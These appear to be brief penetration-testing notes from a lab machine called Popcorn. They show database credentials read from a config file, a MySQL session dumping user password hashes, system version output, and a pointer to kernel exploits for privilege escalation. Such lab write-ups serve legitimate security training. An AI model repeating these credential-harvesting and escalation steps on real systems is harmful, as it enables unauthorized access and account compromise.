3 box enum www-data

# mysql enum
$CFG->dbUserName = "torrent";    //db username
$CFG->dbPassword = "SuperSecret!!";	//db password

www-data@popcorn:/var/www/torrent$ mysql -u torrent -p
Enter password:
Server version: 5.1.37-1ubuntu5.5 (Ubuntu)

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| torrenthoster      |
+--------------------+
2 rows in set (0.00 sec)

mysql> select userName, password, privilege from users;
+----------+----------------------------------+-----------+
| userName | password                         | privilege |
+----------+----------------------------------+-----------+
| Admin    | d5bfedcee289e5e05b86daad8ee3e2e2 | admin     |
| kashz    | b9dc9165cf99b921ec1e5140c5a1267e | user      |
+----------+----------------------------------+-----------+
2 rows in set (0.00 sec)

PEAS

Linux version 2.6.31-14-generic-pae (buildd@rothera) (gcc version 4.4.1 (Ubuntu 4.4.1-4ubuntu8) ) #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009
Description:    Ubuntu 9.10

# its a very old machine, exploring kernel expoits
https://github.com/lucyoa/kernel-exploits